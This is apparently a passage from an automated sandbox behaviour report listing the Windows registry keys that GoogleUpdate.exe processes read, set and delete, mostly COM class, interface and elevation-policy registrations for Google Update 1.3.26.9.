[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Path"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"Policy"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=9]
"Version"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"eulaaccepted"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"AppName"

[HKLM\SOFTWARE\Wow6432Node\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}]
"UpdateAvailableSince"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"AppPath"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@tools.google.com/Google Update;version=3]
"Path"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C3101A8B-0EE1-4612-BFE9-41FFC1A3C19D}]
"Policy"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{C442AC41-9200-4770-8CC0-7CDB4F245C55}]
"AppName"

[HKCR\MIME\Database\Content Type\application/x-vnd.google.oneclickctrl.9]
"CLSID"

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"LastCodeRedCheck"

The process GoogleUpdate.exe:3212 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"IsMSIHelperRegistered" = "1"
"LastStartedAU" = "1423621860"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Google\Update]
"uid"
"old-uid"

The process GoogleUpdate.exe:1628 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe"

[HKCR\GoogleUpdate.OnDemandCOMClassMachineFallback.1.0\CLSID]
"(Default)" = "{B3D28DBD-0DFA-40E4-8071-520767BADC7E}"

[HKCR\Wow6432Node\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.Update3WebMachineFallback.1.0]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.CoCreateAsync"

[HKCR\GoogleUpdate.CoreMachineClass\CLSID]
"(Default)" = "{9B2340A0-4068-43D6-B404-32E27217859D}"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe"

[HKCR\Wow6432Node\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}\NumMethods]
"(Default)" = "24"

[HKCR\Wow6432Node\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\NumMethods]
"(Default)" = "41"

[HKCR\Wow6432Node\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
"ThreadingModel" = "Both"

[HKCR\Wow6432Node\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}\NumMethods]
"(Default)" = "12"

[HKCR\Wow6432Node\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}]
"(Default)" = "IProcessLauncher"

[HKCR\Wow6432Node\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}\InProcServer32]
"ThreadingModel" = "Both"

[HKCR\GoogleUpdate.CoCreateAsync\CLSID]
"(Default)" = "{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}]
"LocalizedString" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-3000"

[HKCR\Wow6432Node\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}\NumMethods]
"(Default)" = "10"

[HKCR\Wow6432Node\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\Elevation]
"Enabled" = "1"

[HKCR\GoogleUpdate.Update3WebMachine\CurVer]
"(Default)" = "GoogleUpdate.Update3WebMachine.1.0"

[HKCR\Wow6432Node\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}]
"LocalizedString" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-3000"

[HKCR\Wow6432Node\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}\NumMethods]
"(Default)" = "7"

[HKCR\Wow6432Node\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\NumMethods]
"(Default)" = "6"

[HKCR\GoogleUpdate.CoreMachineClass.1\CLSID]
"(Default)" = "{9B2340A0-4068-43D6-B404-32E27217859D}"

[HKCR\Wow6432Node\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.CoreMachineClass\CurVer]
"(Default)" = "GoogleUpdate.CoreMachineClass.1"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\Elevation]
"Enabled" = "1"

[HKCR\Wow6432Node\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}\NumMethods]
"(Default)" = "10"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}]
"LocalizedString" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-3000"

[HKCR\Wow6432Node\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
"ThreadingModel" = "Both"

[HKCR\GoogleUpdate.CoreMachineClass]
"(Default)" = "Google Update Core Class"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}]
"LocalizedString" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-3000"

[HKCR\Wow6432Node\Interface\{DAB1D343-1B2A-47F9-B445-93DC50704BFE}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\VersionIndependentProgID]
"(Default)" = "Google.OneClickProcessLauncherMachine"

[HKCR\Wow6432Node\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\NumMethods]
"(Default)" = "8"

[HKCR\Google.OneClickProcessLauncherMachine\CLSID]
"(Default)" = "{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}"

[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\ProgID]
"(Default)" = "GoogleUpdate.CoCreateAsync.1.0"

[HKCR\Wow6432Node\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}]
"(Default)" = "IAppVersionWeb"

[HKCR\Wow6432Node\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}]
"(Default)" = "IAppBundle"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe"

[HKCR\Wow6432Node\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}]
"(Default)" = "IAppCommand"

[HKCR\Google.OneClickProcessLauncherMachine\CurVer]
"(Default)" = "Google.OneClickProcessLauncherMachine.1.0"

[HKCR\GoogleUpdate.Update3WebMachineFallback\CLSID]
"(Default)" = "{598FE0E5-E02D-465D-9A9D-37974A28FD42}"

[HKCR\GoogleUpdate.OnDemandCOMClassMachineFallback\CLSID]
"(Default)" = "{B3D28DBD-0DFA-40E4-8071-520767BADC7E}"

[HKCR\Wow6432Node\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}]
"(Default)" = "IPackage"

[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\Elevation]
"Enabled" = "1"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\Elevation]
"IconReference" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-1004"

[HKCR\Wow6432Node\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}]
"(Default)" = "ICoCreateAsyncStatus"

[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}]
"(Default)" = "CoCreateAsync"

[HKCR\Wow6432Node\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.Update3WebMachine"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachine"

[HKCR\Wow6432Node\Interface\{2D363682-561D-4C3A-81C6-F2F82107562A}]
"(Default)" = "IGoogleUpdate3WebSecurity"

[HKCR\GoogleUpdate.CredentialDialogMachine.1.0\CLSID]
"(Default)" = "{25461599-633D-42B1-84FB-7CD68D026E53}"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe"

[HKCR\Wow6432Node\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}]
"(Default)" = "IProcessLauncher2"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\GoogleUpdate.Update3WebMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Google.OneClickProcessLauncherMachine]
"(Default)" = "Google.OneClickProcessLauncher"

[HKCR\GoogleUpdate.CredentialDialogMachine.1.0]
"(Default)" = "GoogleUpdate CredentialDialog"

[HKCR\GoogleUpdate.ProcessLauncher\CurVer]
"(Default)" = "GoogleUpdate.ProcessLauncher.1.0"

[HKCR\Wow6432Node\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\NumMethods]
"(Default)" = "5"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\Elevation]
"IconReference" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-1004"

[HKCR\Wow6432Node\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}\NumMethods]
"(Default)" = "13"

[HKCR\Wow6432Node\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}]
"(Default)" = "ICredentialDialog"

[HKCR\GoogleUpdate.Update3WebMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Wow6432Node\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}]
"(Default)" = "IGoogleUpdate"

[HKCR\Wow6432Node\Interface\{128C2DA6-2BC0-44C0-B3F6-4EC22E647964}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.OnDemandCOMClassMachine.1.0\CLSID]
"(Default)" = "{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.Update3WebMachineFallback"

[HKCR\GoogleUpdate.CoreMachineClass.1]
"(Default)" = "Google Update Core Class"

[HKCR\Wow6432Node\CLSID\{B3D28DBD-0DFA-40E4-8071-520767BADC7E}\Elevation]
"Enabled" = "1"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe"

[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\ProgID]
"(Default)" = "Google.OneClickProcessLauncherMachine.1.0"

[HKCR\Wow6432Node\Interface\{5CCCB0EF-7073-4516-8028-4C628D0C8AAB}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{003EB908-0B86-44F8-86F0-B19A7022449C}\InprocHandler32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine.dll"

[HKCR\Wow6432Node\Interface\{909489C2-85A6-4322-AA56-D25278649D67}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{2E629606-312A-482F-9B12-2C4ABF6F0B6D}\NumMethods]
"(Default)" = "10"

[HKCR\Wow6432Node\Interface\{B3A47570-0A85-4AEA-8270-529D47899603}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}]
"LocalizedString" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-3000"

[HKCR\Wow6432Node\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}]
"(Default)" = "PSFactoryBuffer"

[HKCR\Wow6432Node\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}]
"(Default)" = "IGoogleUpdate3Web"

[HKCR\Wow6432Node\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}]
"(Default)" = "IAppWeb"

[HKCR\Wow6432Node\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\NumMethods]
"(Default)" = "17"

[HKCR\Wow6432Node\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.Update3WebMachine.1.0\CLSID]
"(Default)" = "{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}"

[HKCR\GoogleUpdate.CredentialDialogMachine\CLSID]
"(Default)" = "{25461599-633D-42B1-84FB-7CD68D026E53}"

[HKCR\Wow6432Node\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}]
"(Default)" = "IAppCommandWeb"

[HKCR\Wow6432Node\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}\NumMethods]
"(Default)" = "9"

[HKCR\GoogleUpdate.ProcessLauncher.1.0]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\Wow6432Node\CLSID\{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}\InProcServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine.dll"

[HKCR\Wow6432Node\Interface\{494B20CF-282E-4BDD-9F5D-B70CB09D351E}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe"

[HKCR\GoogleUpdate.OnDemandCOMClassMachineFallback\CurVer]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachineFallback.1.0"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\Elevation]
"Enabled" = "1"

[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\ProgID]
"(Default)" = "GoogleUpdate.CredentialDialogMachine.1.0"

[HKCR\Wow6432Node\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}]
"(Default)" = "IRegistrationUpdateHook"

[HKCR\GoogleUpdate.Update3WebMachineFallback]
"(Default)" = "GoogleUpdate Update3Web"

[HKCR\Wow6432Node\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.CoCreateAsync\CurVer]
"(Default)" = "GoogleUpdate.CoCreateAsync.1.0"

[HKCR\GoogleUpdate.CredentialDialogMachine\CurVer]
"(Default)" = "GoogleUpdate.CredentialDialogMachine.1.0"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\ProgID]
"(Default)" = "GoogleUpdate.Update3WebMachineFallback.1.0"

[HKCR\Wow6432Node\Interface\{8476CE12-AE1F-4198-805C-BA0F9B783F57}\NumMethods]
"(Default)" = "11"

[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.ProcessLauncher"

[HKCR\Google.OneClickProcessLauncherMachine.1.0]
"(Default)" = "Google.OneClickProcessLauncher"

[HKCR\GoogleUpdate.Update3WebMachineFallback\CurVer]
"(Default)" = "GoogleUpdate.Update3WebMachineFallback.1.0"

[HKCR\Wow6432Node\Interface\{3D05F64F-71E3-48A5-BF6B-83315BC8AE1F}]
"(Default)" = "IAppCommand2"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}]
"(Default)" = "Google Update Core Class"

[HKCR\Wow6432Node\Interface\{31AC3F11-E5EA-4A85-8A3D-8E095A39C27B}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\Elevation]
"IconReference" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-1004"

[HKCR\Wow6432Node\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{6DB17455-4E85-46E7-9D23-E555E4B005AF}]
"(Default)" = "IGoogleUpdate3"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.CoreMachineClass"

[HKCR\Wow6432Node\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}\NumMethods]
"(Default)" = "8"

[HKCR\GoogleUpdate.CoCreateAsync.1.0]
"(Default)" = "CoCreateAsync"

[HKCR\Wow6432Node\Interface\{76F7B787-A67C-4C73-82C7-31F5E3AABC5C}]
"(Default)" = "IApp"

[HKCR\Wow6432Node\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}\NumMethods]
"(Default)" = "10"

[HKCR\Wow6432Node\Interface\{909489C2-85A6-4322-AA56-D25278649D67}]
"(Default)" = "IGoogleUpdateCore"

[HKCR\Wow6432Node\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}]
"(Default)" = "IApp2"

[HKCR\Wow6432Node\Interface\{DCAB8386-4F03-4DBD-A366-D90BC9F68DE6}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}\ProgID]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\Google.OneClickProcessLauncherMachine.1.0\CLSID]
"(Default)" = "{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}"

[HKCR\Wow6432Node\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\Interface\{18D0F672-18B4-48E6-AD36-6E6BF01DBBC4}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}]
"CLSID" = "{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}"

[HKCR\Wow6432Node\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateOnDemand.exe"

[HKCR\Wow6432Node\CLSID\{598FE0E5-E02D-465D-9A9D-37974A28FD42}\Elevation]
"IconReference" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-1004"

[HKCR\Wow6432Node\Interface\{0CD01D1E-4A1C-489D-93B9-9B6672877C57}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}]
"(Default)" = "GoogleUpdate CredentialDialog"

[HKCR\Wow6432Node\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.Update3WebMachine\CLSID]
"(Default)" = "{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}"

[HKCR\Wow6432Node\CLSID\{ABC01078-F197-4B0B-ADBC-CFE684B39C82}\ProgID]
"(Default)" = "GoogleUpdate.ProcessLauncher.1.0"

[HKCR\GoogleUpdate.OnDemandCOMClassMachineFallback]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Wow6432Node\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\GoogleUpdate.OnDemandCOMClassMachine\CurVer]
"(Default)" = "GoogleUpdate.OnDemandCOMClassMachine.1.0"

[HKCR\GoogleUpdate.ProcessLauncher]
"(Default)" = "Google Update Process Launcher Class"

[HKCR\Wow6432Node\Interface\{FE908CDD-22BB-472A-9870-1A0390E42F36}\NumMethods]
"(Default)" = "41"

[HKCR\Wow6432Node\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}]
"(Default)" = "IBrowserHttpRequest2"

[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}\LocalServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\GoogleUpdateBroker.exe"

[HKCR\GoogleUpdate.ProcessLauncher.1.0\CLSID]
"(Default)" = "{ABC01078-F197-4B0B-ADBC-CFE684B39C82}"

[HKCR\Wow6432Node\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}]
"(Default)" = "IAppBundleWeb"

[HKCR\Wow6432Node\Interface\{D106AB5F-A70E-400E-A21B-96208C1D8DBB}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{BCDCB538-01C0-46D1-A6A7-52F4D021C272}]
"(Default)" = "IAppVersion"

[HKCR\Wow6432Node\Interface\{DD42475D-6D46-496A-924E-BD5630B4CBBA}\NumMethods]
"(Default)" = "24"

[HKCR\Wow6432Node\CLSID\{9D6AA569-9F30-41AD-885A-346685C74928}\InprocServer32]
"(Default)" = "%Program Files% (x86)\Google\Update\1.3.26.9\psmachine.dll"

[HKCR\GoogleUpdate.CoCreateAsync]
"(Default)" = "CoCreateAsync"

[HKCR\Wow6432Node\Interface\{909489C2-85A6-4322-AA56-D25278649D67}\NumMethods]
"(Default)" = "4"

[HKCR\Wow6432Node\Interface\{1C642CED-CA3B-4013-A9DF-CA6CE5FF6503}]
"(Default)" = "IProgressWndEvents"

[HKCR\GoogleUpdate.CoCreateAsync.1.0\CLSID]
"(Default)" = "{7DE94008-8AFD-4C70-9728-C6FBFFF6A73E}"

[HKCR\Wow6432Node\Interface\{4DE778FE-F195-4EE3-9DAB-FE446C239221}\NumMethods]
"(Default)" = "11"

[HKCR\Wow6432Node\CLSID\{25461599-633D-42B1-84FB-7CD68D026E53}\VersionIndependentProgID]
"(Default)" = "GoogleUpdate.CredentialDialogMachine"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\ProgID]
"(Default)" = "GoogleUpdate.Update3WebMachine.1.0"

[HKCR\GoogleUpdate.OnDemandCOMClassMachineFallback.1.0]
"(Default)" = "Google Update Legacy On Demand"

[HKCR\Wow6432Node\CLSID\{9B2340A0-4068-43D6-B404-32E27217859D}\ProgID]
"(Default)" = "GoogleUpdate.CoreMachineClass.1"

[HKCR\Wow6432Node\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\NumMethods]
"(Default)" = "43"

[HKCR\Wow6432Node\Interface\{49D7563B-2DDB-4831-88C8-768A53833837}]
"(Default)" = "IJobObserver"

[HKCR\GoogleUpdate.OnDemandCOMClassMachine]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\Wow6432Node\Interface\{5B25A8DC-1780-4178-A629-6BE8B8DEFAA2}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\Interface\{4E223325-C16B-4EEB-AEDC-19AA99A237FA}\ProxyStubClsid32]
"(Default)" = "{5E688170-BDC7-48AA-A339-5F74CFDBDC9C}"

[HKCR\Wow6432Node\CLSID\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}]
"(Default)" = "Google.OneClickProcessLauncher"

[HKCR\GoogleUpdate.CredentialDialogMachine]
"(Default)" = "GoogleUpdate CredentialDialog"

[HKCR\Wow6432Node\CLSID\{8A1D4361-2C08-4700-A351-3EAA9CBFF5E4}\Elevation]
"IconReference" = "@%Program Files% (x86)\Google\Update\1.3.26.9\goopdate.dll,-1004"

[HKCR\Wow6432Node\Interface\{247954F9-9EDC-4E68-8CC3-150C2B89EADF}]
"(Default)" = "ICurrentState"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{AAD4AE2E-D834-46D4-8B09-490FAC9C722B}]
"Policy" = "3"

[HKCR\GoogleUpdate.Update3WebMachineFallback.1.0\CLSID]
"(Default)" = "{598FE0E5-E02D-465D-9A9D-37974A28FD42}"

[HKCR\Wow6432Node\CLSID\{6F8BD55B-E83D-4A47-85BE-81FFA8057A69}]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\GoogleUpdate.OnDemandCOMClassMachine.1.0]
"(Default)" = "Google Update Broker Class Factory"

[HKCR\GoogleUpdate.ProcessLauncher\CLSID]
"(Default)" = "{ABC01078-F197-4B0B-ADBC-CFE684B39C82}"

